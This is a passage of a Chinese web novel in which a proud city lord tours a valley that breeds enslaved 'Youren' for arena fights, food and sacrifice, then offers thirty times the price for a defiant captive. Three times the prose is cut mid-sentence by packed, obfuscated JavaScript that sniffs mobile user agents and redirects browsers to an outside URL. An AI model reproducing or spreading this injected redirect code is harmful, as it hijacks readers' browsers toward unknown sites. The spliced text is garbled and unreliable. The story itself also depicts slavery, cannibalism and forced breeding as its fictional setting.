《娑婆外传:盂兰古卷》 2. 蝣人 从决定出发到抵达饕餮谷,阮玉山用了一个月。 他做事向来讲究快速麻利,比方说这回北上,堂堂城主亲自出马,消息传出去势必惊动沿路诸多小城,加上阮家在天下闻名的臭脾气,阮玉山自小到大树敌不少,为免麻烦,他和林烟换装后都是从各路小道抄着走,既不想走官道在各城行诸多繁文缛节,也不想被鱼龙混杂的势力盯上浪费时间。 所以出门时的那趟马车,自然是能免就免。 人到城中,阮玉山先带着林烟逛了一圈,没去驿站,反而先找个客栈舒舒服服洗了个澡,再换身衣裳,吃饱喝足,方才去往谷中递上城主腰牌。 他孤身来此,身边就带一个亲随,为了行走便宜还特地穿上饕餮谷的百姓服饰。那守门的侍卫接过腰牌,却一句也不多问,忙不迭派人往里头通报,同时把他迎了进去。 俗话说宁拒千两白银,不赶一个老客。饕餮谷做天下生意,阮氏那么多年跟他们保持着买卖关系,不管来人到底是何身份,见了腰牌先把态度摆出来,若有隐情再论后话,若真是阮玉山亲临,那自然怠慢不得。 何况阮玉山身量修长,模样英俊,体态潇洒,举手投足间天然一副龙凤之姿,光是眨眼凝眸时的凛凛杀伐气,寻常人就冒充不来。 谷主确认了腰牌,又听小厮报了来人样貌,心道八/九不离十,便亲自起身去把阮玉山接进去。 是时正当晌午,谷里的蝣人囚在地牢,皆默不作声地休息,为晚上的斗场表演做准备。 说起斗场表演,就得先讲讲饕餮谷的来历。 饕餮谷以圈养蝣人闻名天下。 数百年前蝣人仗着种族优势,天生玄力充沛,矫健非常,在天下横行霸道,烧杀抢夺无恶不作,史书上还给落了个“蝣蛮子”的恶名。 后来蝣族因滥杀无辜,突遭诅咒,所有年过二十者皆因体内骨珠承受不住玄气暴毙而亡,因其自食恶果,整个娑婆大陆的玄者开始出现报复性的为了增进修为而捕食蝣人的现象,久而久之,蝣族便如牲畜一般,再不被当作寻常人看待。 最初受到诅咒的几十年里,许多蝣人为了躲避追捕选择藏身北方荒山自生自灭,还是普通玄者的老谷主偶然间在山谷中发觉大量蝣人踪迹,便连同数位玄者猎户对其进行大肆追捕。 一代蝣人攥在手里还不满足,老谷主为了源源不断地谋利,强行逼迫俘虏的蝣人进行交/配繁衍,以供他长时间对外交易,饕餮谷自此发家。 大祈食用蝣人增补之气百年来蔚然成风,但蝣人大多敏捷聪颖,玄力高强,活体实在不好捉捕。对于各城中达官显贵而言,采买蝣人最便利直接的方式就是与饕餮谷做交易,一方出钱,一方按照买金送去相应品质的蝣人,连天子也不能免俗。 更有甚者,饕餮谷于多年前就开始在特定的时节将谷中上等蝣人大批送往天子城,供天子及赴宴的诸多封臣取乐享用。 而取乐的方法,最广为人知的,便是蝣人斗场。 除了将蝣人作为上等的食材送往大祈各城外,饕餮谷招徕宾客的手段层出不穷。 蝣人斗场,顾名思义,便是将蝣人当作野兽一样放进圆形斗兽场,再在斗兽场中间放入一些食物,食物多为好动能飞的家禽野畜,让蝣人为此互相争夺,在场中彼此厮杀。 为了达到最好的争夺效果,饕餮谷会把要放入斗兽场的蝣人提前饿个一两天,让他们在滴水未进的状态下丧失心智,不得不为了食物对同类痛下杀手。 斗场两天一开,即便不是达官显贵,只要愿意花钱,普通人也能入席观看,一饱眼福。 每一次斗场胜出的蝣人,都会得到当天的食物奖赏。而观看席中从不乏名门之流,若场中有看上眼的蝣人,他们会打发小厮去竞价。 饕餮谷开一回斗场赚普通人和贵族两份钱,被争夺的蝣人往往价高者得,最后成为权贵桌上的盘中餐。 今日恰逢斗场开门,谷主先请示了阮玉山,看阮玉山的意思是不喜人多被扰,当即便宣布闭谷一日,不再接客。 如此大的阵仗,就连平日在谷中只负责传递消息的小厮也边走边嘀咕。 一人拿着闭谷的告示且行且道:“这红州城的城主到底是个什么来头?就为了接待他一个,让上百人吃闭门羹。咱们以前也不是没迎过贵客,也不见这样。” 另一人只道:“俗话说:北祈南渝,西阮东谢。前半句讲咱们大祈和隔壁国力相当,后半句说的,就是无镛和红州两个城池。无镛城自不必说,自高祖将无镛周边数十座城池一并划分给谢家后,那周围的山脉就跟突然通了灵似的,隔三岔五挖出数不清的金玉石矿,整个谢家别说在大祈,就是在全天下,那也是富甲一方。” “那阮家呢?” “阮家富贵自不必讲。”那人摆摆手笑道,“虽不比谢氏富可敌国,但从手指缝里漏一点出来,也够咱们上下所有人忙活一场了。不过阮家旁人不可及之处,是权势——天子见了尚且敬让三分,何况咱们呢。” 按理,饕餮谷谷主与阮玉山同为一地之主,从身份来讲无需阿谀奉承,只按平辈之礼行事即可。 但城与城之间也有差别,那便是“权势”。 大祈各城高度自治,阮家是红州世代的地头蛇,当年归顺是高祖一顾二顾再三顾请来做了麾下臣,阮玉山拥兵一方,说好听点是一人之下万人之上,说不客气点,就是不想给天子面子,也是一句话的事。 红州天高皇帝远,城民向来只认城主不认天子,阮玉山打娘胎里就开始受万民敬仰。 反观饕餮谷,起家就是钻了蝣族没落的空子,仗着北方荒山无人管辖,圈起地来做了这贩人的买卖,后来某一代谷主不满足于做一方财主,金山银山地给天子送去,才勉强发配了一个官位,方方面面的手段拿到朝堂上,都是为人所不齿的。 阮玉山对饕餮谷历来的行径并不做评判,毕竟阮家那么多年也从这里买了数不清的蝣人回去,他也不会因此对饕餮谷额外瞧不上——全天下的人在阮玉山这儿难分高低,他都瞧不上,饕餮谷还别想因此独占鳌头。 即便是无镛城那位七岁作诗,十五岁挂帅,风流倜傥名动天下的谢九爷,在阮玉山眼中也同庸人一般无二。 听闻两年前天子突然造访无镛城,在谢府相中了个十二岁的小丫鬟,说要带回去做妃子。谢九楼也不晓得怎么回事,非要挡在天子面前,说丫头年纪尚小,若伴在君侧,难免冲撞龙颜。 天子大概也不是真心要那丫鬟,听谢九楼推诿,便骑驴下坡,叫谢九楼把人娶了,说是赐婚,还命他们当晚就必须洞房。 若不答应,便要将那姑娘杀了。 十二岁的姑娘,哪里是能洞房的? 谢九楼无奈,先将婚事应了下来,只说父母孝期未过,等日子到了,必定来请天子主婚。 天子到谢府搅和了一摊烂事,闹得谢府上下鸡犬不宁,自个儿倒是拍拍屁股走人,留下十五岁的谢九楼和十二岁的小丫鬟焦头烂额。 那谢九楼也是命苦,幼年失怙,才满十五便被天子赐婚。最后也是彻底没法子了,守孝时间一到,连夜遣散了家中大半奴仆,尤其是年轻适龄的姑娘,府里一个不留,每人给了身契和五十两银子送回老家去。至于那个十二岁的小丫头,更是费了一番功夫伪造病死的假象,才将天子糊弄了过去。 阮玉山最初听闻此事,只是不屑一顾。 堂堂行军之人,竟被区区一条人命威胁至此。 慈悲过度便是愚善。这事儿要是换了他阮玉山,天子前脚敢说杀,后脚他就敢递刀,但凡真动了他红州城民一根毫毛,阮家不等天亮就不再是大祈的臣属。 更别说欺负到头上了,还美其名曰“天子赐婚”。 他这辈子还没什么东西需要别人来赐的,若他真想要,说拿就拿了,别妄图让他去求——佛祖来了也不低头。 当年谢府这事儿轰动天下,阮玉山闲暇去老祖母那里请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032906|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安时也在茶余饭后说道过。 岂知他那一堆天不怕地不怕的歪理见解才没来得及在曾祖母面前说完,就挨了老太太两闷棍。 “不可教化!”耄耋之年的曾祖母在炉火旁用拐杖指着他骂,“无镛城身处天子脚下,大祈腹地,情势岂可与红州相提并论?咱们阮氏自来是土匪做派,天子不仁,阮家也顾不上名声一说。可那谢家满门忠烈,恭谨孝义之名举世尽知,百年声望无有不服者。谢小将军若是同你一般想法,祖辈阴德才是尽毁了。顾大局者,敦厚仁善,竟被你说成优柔寡断之辈。滚到房里看书去吧!” 阮玉山莫名其妙挨了一顿打又挨了一顿骂,自此对那位只闻尊名未得一见的谢九楼更看不惯了。 说回当下,饕餮谷主打发人去闭了谷,再事必躬亲地把阮玉山接到斗场看台,问过阮玉山的意思,还是先看一回表演,如果没物色到满意的祭品,就再从没上场的蝣人里选。 准备放出来参斗的蝣人就关在看台三丈以下的地牢中,总共数十个,每一个都在十三岁以上——年纪太小的蝣人骨珠玄气不够充沛,上了场争不过别人也是送死,一般主顾更看不上。 饕餮谷拿出来做买卖的大多数是十五岁以上的蝣人,器脏成熟,体型适中,拿去宰杀烹饪是最好的补品。 不过阮玉山此次前来的目的是买办祭品,蝣人的年龄也就不重要了,重要的还是看阮家需要什么样的蝣人。若是习俗里偏好年纪小的,那就从库里拿小的出来给阮玉山挑。 小厮奉了茶来,谷主接过,亲自递到阮玉山手里。 阮玉山听着这话,一边从谷主手里接过煮好的茶,一边随意扬起几根手指头示意:“不必。年纪小的留着多活几年吧。” 他没这个喜好。不过阮家祖上倒是有过几位家主对蝣人祭祀这事儿有些特殊的癖性。 比方专买年纪小的回去在祭典上活杀,有点希冀早日让蝣族在这世间彻底绝代的意思。 归根结底还是千百年前蝣人在娑婆大陆横行霸道时杀了太多阮家的人。那些年蝣族好战嗜杀,最爱骚扰中原。作为大祁的边境地带,与蝣族比邻而居的红州城首当其冲。 可以说蝣族过去在娑婆猖狂了多少年,阮家就与他们打了多少年的仗。 阮氏先祖不服输的傲劲儿从现在的阮玉山身上便可见一斑,跟蝣人打仗,输了一次一定要赢十次才算赚回来。如此有来有回,阮家祖辈们把自己作得还能留下点血脉也算当年家里人多。 直到蝣人受诅,蝣族在娑婆的威风可谓一朝覆灭人人喊打,阮家总算能彻底出一口恶气,便是从那时起,阮氏立下了每年用蝣族人头祭奠先祖的规矩。 这习俗传承到阮玉山这一辈,早已过了不知多少代。蝣人先祖曾犯下的那些杀业罪孽尽该赎完了,如今的他们,只是一个个被圈养在兽笼里日日等死的阶下囚。 阮玉山对自家活祭之事看得很开,他对此谈不上赞成,但也不抵触。 光说为了报仇雪恨,那阮家祖祖辈辈祭祀下来该在蝣人身上报的仇早报干净了,按理也不用一直到现在还得年年买蝣人回去杀头当贡品。 只是蝣人的价值如同草芥,杀与不杀他都不在乎。不过是动动手指头抛洒金银的事。 既然阮氏有这个习俗,每年花点银子买一只回去也没关系,倘若哪天阮家长辈决定停止对蝣人的杀戮了,他也无所谓。 蝣人的性命,本就不要紧的。 只一点,他明令禁止红州城民食用任何蝣人,一旦发现,定斩不饶。这点上倒是与无镛城的谢九楼不谋而合。 哨者站在哨桩上,只等后方一声令下,便吹响号角,示意下方开闸放人。 阮玉山先低头啜了口茶,随后微扬下巴,半阖眼俯视下方斗场,谷主见状转身对哨者挥手,斗场中当即响起嘹亮又沉重的号声。 古朴而坚硬的闸门被缓缓推开,蝣人九十四站在门后,随闸门渐渐涌入地牢的阳光刺得他眯起了眼。 3. 全部 满场无声的寂静让九十四敏锐地察觉到了异常。 他迎着日光巡视过去早该被欢呼和喧闹充斥的看台,很快只在视野最好的阁楼处发现寥寥几抹人影。 斗场的看台向来一座难求,即便是从未出过谷的蝣人,依照每次闸门外的盛况对此也不难判断。 如此突兀地清空全场,万籁俱寂,必定不是饕餮谷招不到客,而是有贵人来了。 一卷秋风打入门中,吹起九十四褴褛的衣角。 耳边传入钥匙开锁的声音,驯监解开了他们手脚处的三十斤镣铐,只留脖子上一个颈枷束缚住蝣人体内生来的玄力,方便他们上场肉搏。 百重三悄悄蹭过来,躲在九十四的背后,用稚嫩的嗓音小声说着蝣语:“九十四哥,我怕。” 这是他第一次上斗场。 百重三前天刚满十三岁,就套上了为表演斗场专打的颈枷,丢到暗无天日的地窖饿了两天肚子。现在,他要为了自己三天来的第一顿饭上场厮杀了。 九十四侧身摸了摸百重三的额头:“有我,别怕。” 秋风呼号着朝门里刮进来,百重三不说话,只是抓着九十四的衣服发抖,不知是冷还是饿。 来自身后的开锁声还在继续,等到这一批蝣人的镣铐全部打开,他们就要走出这道门,成为彼此的对手了。 百重三回头看看脚下漆黑且望不到尽头的甬道,他的族人个个比他高大,即便每一个都在长年累月的监禁与折磨下长得皮包骨头,他也是皮包骨里最瘦弱的一个。 可是这堆人里,最厉害的人在他身边。 他抬头看向比自己高出一个半身的九十四,眼中满是对未知的恐惧:“我会死吗?” “不会。”九十四低头,为了安抚小孩儿的紧张故意扬起唇角,狡黠地眨了下眼,晦涩绕口的蝣语从他口中说出来是一贯的从容悦耳,“待会儿躲在我后面。” 出场的号角声在门外盘旋,所有蝣人的镣铐都打开了,他们在驯监的推搡与呼喝下陆续走出地牢。 跟着九十四依次出来的蝣人后知后觉地发现看台中几乎空无一人时,他们脸上不约而同地表现出了失望——没有看客,意味着没有任何打赏从看台丢进场中,更意味着今天斗场中唯一的油水就是最后的战利品:兴许是一只野鸡、一头乌鸦又或者一只野兔。 总之他们需要真正全力以赴地对自己的同族下手,否则抢不到食物的蝣人就会在明天中午发粮之前都一直饿着肚子。 起先每个人意识到今日彼此间只能恶战时还只是面面相觑,当场管手中第一只野鸡被扔进斗场时,终于有人按捺不住,卯足了力朝野鸡扑去。 场面一旦开了头,就一发不可收拾,数十个蝣人争先恐后瞄准那一个小小的目标,很快开始对彼此大打出手。 第一个拳头抡出去,后面就不管了,力道也不控制了,族人也不是族人了,谁手上落空,谁就没得饭吃。 极端的环境往往会滋生愤怒,蝣人自古在体力方面天赋异禀,虽然被带着束缚玄力的镣铐削弱了几百年,到了这一代,他们的体型和力量甚至大部分不如普通玄者,但在极度饥饿的身体状况与失望愤怒的情绪下,场子里还是一会子功夫就见了血。 九十四把百重三挡在身后,站在斗殴中心三尺之外,静静看着场面走向失控。 他的族人总是杀红了眼,这没办法,不拼尽全力就要饿死,就连曾经最听话的百十八在面对一顿需要争夺的口粮时也失控过,谁也无法在生死关头保全人性——即便这世上除了九十四自己,谁也不会把蝣人看作是人,包括他的同族。 他是不可能这时候逞能跑过去以一敌众的,脖子上的颈枷不是摆设。自己再厉害,能制服失控的一个,也管不住失控的一堆。 九十四双眼繁忙,密切追随场上每一个族人的动作与行迹,举凡瞧见有支撑不住的,他就眼疾手快把人拽出来拎到一边,若那人还想再去,九十四眼一横,对方也就一个激灵冷静下来,不敢动了。 这些经常上斗场的蝣人最听九十四的话。 就连一开始,意识到今日有场硬战时,他们也最盼着九十四早些出手。 只要九十四出手了,他们就不必血拼了。 饕餮谷任何一个蝣人拿到斗场的战利品都有可能忍不住独享,唯独九十四不会。 九十四会把每一次到手的食物做出最大限度的合理划分:先从小蝣人分起,保证饿肚子的小孩儿得到适当的补给后再拿剩下的部分让年长的蝣人分食。 一次斗场打下来的战利品和奖励的粮食加起来不过两三只野畜,它们在九十四手里总会变得恰好够在场二三十个人得到属于自己的一份口粮。 哪怕一口鸡血,一根鸟骨头也好,都不至于让人绝望地空着肚子熬过一个又一个夜晚。 这些别人都做不到。 饿了整整两天,再打得筋疲力尽,饥荒时求生的欲望和本能会吞没一个人的理智,早就接受自己兽化的蝣人更没有把食物大方分给别人的自制力。 只有九十四会。 自在谷中长大以来,他以一种偏执的态度捍卫着那点没人瞧得起的、属于蝣族的人格和尊严,用自己能做到的所有办法阻止他的族人变成兽性的奴隶,即便他们的处境在数百年前就已经和牲畜没有区别,他还是用一种孤勇的姿态反驳世人投射到蝣人身上的目光。 “拳头可以挥在自己人身上。但别让他们为你而死。” 百十八在十三岁那年在斗场失控险些为了食物对同族痛下杀手时,被九十四狠狠教训了一顿。当时九十四抡起拳头打得他鼻青脸肿,眼冒金星,才让饿昏头的百十八彻底长了记性。 后来回到笼子里,九十四一边把手里那只野雉最肥的鸡腿和半块生狗肉撕下来喂给百十八,一边对百十八说了这句话。 “拳头可以挥在自己人身上。但别让他们为你而死。” 说完以后九十四还是那样狡黠地对使了一个眼色:“不要变成野兽,不过可以演给他们看。” 那时刚满十三的百十八一边舔着自己被九十四揍出来的鼻血,一边接过对方递来的还带着皮毛的生鸡腿,两眼发亮地啃着生肉,对九十四不停地点头,望向九十四的双眼中满是打心底里的依赖和信服。 斗场上九十四保护过的小蝣人不计其数,他们大多听不懂九十四这些话的含义。但仍会记住他说过的每一个字。 九十四的话,即使听不懂,记住也不会有错的。 一个愿意把自己的口粮分给族人的蝣人总不会有错。 估摸着台上的贵客看得尽兴了,九十四冲进还在互殴的人堆里,先一把抓出几个打架下手最狠的,挨个给了一巴掌,扇得人趴在地上爬不起来后,再解决其他下手没那么重的。 九十四的巴掌看着简单,手劲儿可不是盖的,光是单手把大他一倍体型的同族从疯了一样扎堆的人群里拉出来还不够,一掌扇过去能再把人甩出半丈远。 对于那些没那么疯狂的,他便拎出来,一脚踹地上,坐过去抓着人脖子放轻力道左右开弓,把人扇清醒就算完了。 蝣人打人没有章法,都是靠日复一日的实操和自相厮杀里赤手空拳练出来。九十四没有练武行家的那些身段手段,这是他能做到的最有效地控制局面的办法。 若是有行家将其自小规训,内外兼修,那九十四势必能将一身筋骨练得登峰造极。 可惜了,是个蝣人。 阮玉山将一切尽收眼底时,脑子里便浮现这么一句话。 是个蝣人,一切都免谈了,唯唯诺诺地等死是他们唯一的结局。 他高居看阁,起先注视着场中众蝣人为了这点果腹的口粮抢得头破血流,只是端茶不语,目光平静,后来的视线便渐渐定在了始终静默在外围的九十四身上。 阮玉山清晰地看到九十四的一举一动,看到他先是观战不动,待打架的人都耗尽了力气,再扎进人堆里,逮住一个就是一巴掌,再抓一个还是一巴掌。 巴掌的力度拿捏得很好,既不至于要命,又刚好够挨打的人没力气再往人堆里冲。 阮玉山对着那一幕不动声色地扬眉,神色变得感兴趣起来。 只是有意思的场面没进行多久,那些被扇的人有一个算一个,看清来者是九十四后便不怎么进行反抗。 直到九十四把最终抢到手的野鸡扔给身后的百重三,这一场斗兽算是即将落幕,阮玉山也收回了目光。 谷主并一众小厮侍立左右,因估摸不准阮玉山的情绪,便将视线转向场中,做欣赏姿态道:“要论精彩,往日的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032907|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗场再如何,也不及今日十分之一了。” 说完,眼珠子一斜溜,等着看阮玉山的反应。 岂知阮玉山并不作答,既没迎着话讲下去,也不驳回,只是反问道:“听闻谷中斗场看台,加上阁楼看座,可容纳多达近四千人?” 此话一出,旁边的林烟先是神色先是一变。 作为自小一起长大近乎手足的亲随,阮玉山的脾气林烟最清楚。 虽说这人生来脾气倔性子傲,可若真是打心眼瞧得起什么,要夸出口的话,阮玉山决不吝啬,一向直来直去,称赞之词于言表中一眼可知。 但论起骂人,阮玉山便有百十来种绕着弯去折损的法子。 尤其是面对饕餮谷主这种没眼见还硬邀功的人。 奈何阮玉山肚子里的坏水,在场诸人,林烟知道,其他却不知道。 那谷主听阮玉山开了尊口,问的又是正中他心意的话,当即恨不得把心肝亮出来,在阮玉山面前显摆个十成十:“‘多’倒算不上。我这看台,比起西阮东谢,城主府邸,便是小巫见大巫了。” 话锋一转,又道:“只是要说容纳人的数量——倘或天气不好,看客不多,少则也有四千余人;若是天气好了,场中坐满五千人,也不在话……” “下”字还没出口,便听阮玉山打断道:“五千人?那岂不是要劳烦谷主,从谷里找四千九百个填进去?” 这下除了林烟,其余人皆是一愣。 林烟则低头在心里叹了口气。 “老爷这话……”谷主面上赔着笑,心里最先明白过来,却又琢磨不准阮玉山究竟是不是那个意思,只得先解释道,“若说饕餮谷徒有虚名,找人充数,那是万万不可能的。咱们的看座,光是最便宜那一挂,放到外面去,涨十倍价格也难求!更别说即便如此,每次放场,仍旧座无虚席——” “哦?”阮玉山一声哂笑,又将人的话斩断,“我竟不知世间真有活人爱看这等糟粕。” 说这东西是糟粕,并不代表阮玉山是在替场中蝣人悲哀或是愤怒。 反正蝣人不受这样的折磨,也总有那样的苦去吃。他还没大发慈悲到去心疼与自己祖辈世代为敌的蝣人。 阮玉山说这话,纯粹是觉得台下的东西难看。 蝣人夺食,肮脏粗鄙,丑态百出。 无趣,无聊至极。 “斗鸡遛鸟尚有两分趣味,舞伎歌姬也姑且能称赞一声婀娜。这东西,我竟找不出半分可圈可点之处。” 阮玉山拂了拂杯子水面上的茶叶:“把人饿两天让他们抢饭吃……这种蠢主意能被创造出来已是匪夷所思,一想到真有人采纳我便更觉可笑,偏偏还真有那么多人头猪脑削尖了脑袋来看,我便只能纳罕:世间蠢人竟不在少数。” 最后他总结道:“蠢货的脑子赚蠢货的钱,也算物尽其用。” 就这么轻描淡写地把古往今来所有看客和饕餮谷的人全骂了个遍。 谷主的笑真挂不住了。 不过饕餮谷的人,骨子里流的是做生意的血。 阮玉山的脾气早已臭到天下皆知,与阮玉山的脾性一同闻名天下的,还有他的军队和他的身家。 若不是出手阔绰,加上阮家兵力强悍,就凭阮玉山这张嘴,但凡投胎错了人家都是一出生就被掐死的命。 谷主略作思量,认为在阮玉山的嘴下众生平等,并非只有自己被故意针对,于是乎再次挂上微笑,搬出一个谁也不敢得罪的人:“就连天子,也曾对此地斗场赞不绝口来的。” “是吗?” 阮玉山闻言,很给面子地朝谷主乜斜一眼,做出一个诧异的神色,接着说道: “龙头猪脑,更是稀奇。” “……” 看来天子也不能在阮玉山的嘴里找到活路。 谷主心里更平衡了。 “好了。”阮玉山对台下斗场看得兴致缺缺,并且在心里认定这次买完蝣人后下辈子都没有再来的必要,“带上来吧。” 监首和场管自以为他要见最后夺得战利品的百重三,正转身对下方候在场中的驯监示意时,又听见阮玉山把茶盏轻轻磕在桌上的声音。 “我是说——” 他们听见阮玉山不紧不慢地开口。 “全部。” 4. 指甲 沉重的锁链在楼台中哗啦作响,数十个蝣人带着在地上滚得漫天飞舞的尘沙上来了。 被他们一同带到看阁的还有一股独属于地牢的、夹杂着血腥气的寒湿味。 蝣人们灰头土脸,浑身脏得看不出本来皮肤,更别说模样,通通的只瞧得见两个跟脸一样黑的眼珠子在唯一还算干净的眼白里转悠。 阮玉山自小通读史书,对这一张张布满血水和泥沙的脸下遮盖着怎样秀丽的面容最清楚不过。 他们并非天生如此难堪,恰巧相反,蝣人端正美丽的相貌在许多年前曾名扬天下。 蝣族尚未没落时,中土甚至有大把大把的旅者不惜一切代价以身犯险,想方设法踏入蝣族领地,只为一睹这个种族在天下都独一份的绝妙风华。 两百年前史书对此便有过记载: “远北蝣族,英姿矫健,性坚毅,素爱美,胎体生香,容貌姣好,男女同相,明眸如月,神采熠然。若得见之,华光之下胜绝琉璃颜色。” 如今琉璃扑了灰,也就成了破砖烂瓦一片片。 阮玉山买蝣人不是为了娶媳妇,而是为了拿回去当祭品。既然是祭品,容貌如何自然也就不重要了。 驯监把抓着野鸡的百重三扯到阮玉山跟前,阮玉山眼皮子也不抬。 管事只当蝣人失礼,将百重三的膝窝狠狠踹了一脚,致使他整个人跪倒在地。 纵使匍匐下去,百重三的手也还是死死抓着野鸡不放手。 驯监逮着百重三肩上的衣服往阮玉山脚下拽:“老爷,这只蝣人就是今天的魁首。” 阮玉山扫过在百重三手里扑腾的那只野鸡,只是轻笑一声,点评道:“小鸡崽子抓小鸡崽子。” 他方才在这上边看得清清楚楚,这小孩儿一直躲在同场另一个蝣人的身后,最终能拿到这只野鸡,不过是伸一伸胳膊,坐享其成罢了。 真正的赢家,此刻站在蝣人堆里,正低眉不语。 阮玉山抬手,正打算让人把那个编号九十四的蝣人带过来,忽瞥见百重三的手足,虽然皮肤皲裂,布满灰尘,但意外的是指甲都磨得很干净。 蝣人打从出生就被当作待宰的家禽般关在特制的笼子里,没人教他们穿衣吃饭,整理毛发。冷了就一身腥臭的狗皮衣裳,热了还是那身狗皮衣裳,谁都不会闲到去教一群待宰的牲畜爱美讲干净。 聪明的畜生才会思考吃喝之外的事情。 显然百重三还是手生,会磨自己的指甲,却磨得残缺不齐,连同指腹的部分也起了一层层的痂,想是多次把自己磨得血肉模糊才会如此。 阮玉山招了招手,百重三颤巍巍地膝行过来。 他指指百重三的手脚:“指甲,自己磨的?” 百重三听不懂,旁边的驯监拿鞭子戳了戳百重三的手指,再用蝣语把阮玉山的话重复了一遍。 谷里的人都会中土话,但为了避免蝣人自小耳濡目染将说话的本事学了去,两百年前老谷主便立下规矩,所有驯监在蝣人面前都只能说蝣语。 究其原因大概是刚刚在谷里建好卖场那几年,老谷主招人不精,让关在地牢的蝣人听多了驯监们谈话,学会了用中原人的发音,久而久之,蝣人们找准时机,蛊惑当时的驯监,竟诱使其打开了笼子和镣铐,数十个驯监一夜丧命,若不是老谷主及时赶到,就连饕餮谷也快被一把火烧了。 自此,这在蝣人跟前不准说中土话的规矩立下来了不说,每每谈及此事,老谷主更是咬牙切齿,说蝣人尽为“生性凶猛,残忍狡诈”之辈。 百重三听完驯监的传话,先是没敢吭声,只伏在地上点头,后来又怕挨打,忙用蝣语补上了回答。 阮玉山听他叽里咕噜说得含混不清,便问驯监:“他说什么?” 驯监答道:“他说‘是’,老爷。” 阮玉山又问:“用什么磨的?” 驯监传了话,百重三含含糊糊地用蝣语说:“石头。” 阮玉山换了个姿势,身体微倾,双肩与脊背依旧端正,只耐心听完驯监的转答后,再问:“石头磨指甲……自己会的?还是别人教的?” 这下百重三不回应了。 蝣人们一个个表面做呆头鹅,实际上心里门儿清。到了这个地方,站在这个位置,面前的人十有八/九是饕餮谷的大主顾。 主顾来这儿是做什么的?是来买他们的命的。 大家都不说,其实谁都明白,只要是被买走,就代表着活不长了。 阮玉山这样子一看就是对百重三感兴趣,这个关头,他百重三要是把别人供出来,不就是送自己的族人上砧板吗? 蝣人命短,但从不做让同伴替死的活计。 他不吱声,驯监们就急了:红州城主岂是饕餮谷一个蝣人可以得罪的? 一个呼吸间,便有鞭子挥到了百重三的背上。 “哑巴了?”驯监的呼喝声大得震天响,“谁把你舌头割了?!” 皮鞭在瘦骨嶙峋的脊背上打出噼啪一声,仿佛直接抽在骨头上。百重三仰天痛呼,手里的鸡再抓不住,将身子往地上一倒,疼得蜷缩起来。 饶是如此,他也只敢哭痛,不说别的。 眼见驯监还要再打,人群中传出一道清亮而沉稳的声音:“是我。” 九十四拨开挡在自己面前的蝣人,拖着脚上的锁链和镣铐走出来,用蝣语说:“我教他的。” 话音未落,一根鞭子挥到九十四的脸上,血淋淋的红痕毫无偏移地从他的耳下蔓延到嘴角。他别过脸,顺着着这个方向抬眼,恰好瞧见一旁谷主阴寒的脸色。 言谷主训斥的声响不大,语气却比驯监恶上三分:“问的是他,几时轮到你出风头了?” 阮玉山坐在圈椅中,终于得见九十四真容,只靠着椅背,默不作声地打量,从头到脚,从眼睛眉毛到手脚伤疤,细细把人看了两遍。 他向来自认目光毒辣,一眼就能将人看个七七八八。这人乍看与谷中其他蝣人无异:脏污的脸,衣衫破旧,手腕脚腕全是多年来被三十斤镣铐和枷锁磨出的一圈圈旧痂。 一旦细看,便会发现无论是指甲头发还是皮肤,九十四都比别人干净得多——虽然只是和蝣人比起来。哪怕才在斗场滚得满头满脸的尘泥,拍一拍也就落下去了,不会粘在身上。 他的指甲比起百重三倒是磨得稍规整些,想必是更熟练的缘故。事实上阮玉山猜得也不错,九十四对身边的小蝣人自来是手把手教会一切,但顶多亲自上手两次,叫人看会了,便要他们自己动手。 石头磨指甲,手生了把指腹磨得血肉模糊也没关系,多磨些日子就熟练了,教的人心软不得。 毕竟蝣人朝生暮死,学东西和教东西的人都没法慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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统军之人眼风横扫便利如刀锋,言谷主被阮玉山审视着,犹豫不及,只能实话实说:“九十四……谷里不打算此时卖的。” 饕餮谷分批圈养蝣人,以年过十三为界,到了这个岁数,就要戴上颈枷,非但要隔三岔五准备上斗场拼命,寻常时候,每日过午便要在地牢团训,以中原最顶尖的死士为标准进行培养。 毕竟前来购买蝣人的主顾形形色色,有的不专是为了买回去剖珠做补,大部分还会在蝣人寿险将至前,与他们结下血契,做几年随身护卫用。 谷中会根据每次训练结果,筛选出天赋最为拔尖那一批蝣人,二十岁以前都不做售卖,而是等到养至十八岁,便拿去配种。 定时灌药,强迫其与不同的配偶进行繁衍,整整两年不间断,以保证新出生的蝣人幼崽能继承最上等的品质。一直配种到二十岁,蝣人临近大限,才会被放出来,以稍便宜的价格卖给主顾。 如果今天阮玉山没提,不日九十四便会被送去试药配种。 这也是为何方才谷主见九十四出头会如此恼羞成怒——一旦九十四真的引起阮玉山的兴趣,那事情就变得棘手了。 一个蝣人拿去配种再繁衍后代能带给饕餮谷的价值可比直接把人打包卖出去高得多。 阮玉山再如何眼高于顶,也是讲道理的。到了生意场就要遵守生意场上的规矩,饕餮谷对他的尊敬并非平白无故,一大圈子人陪着笑脸跟他消磨时间,为的可不是一场赔本买卖。 在这个地方,从来都是钱货两讫。 阮玉山听过缘由,脸上未见任何异样神色。 “最高的价钱,”他开出买走九十四的条件,古井无波道,“我出三十倍。” 5. 珊瑚 此话一出,满场骇然。 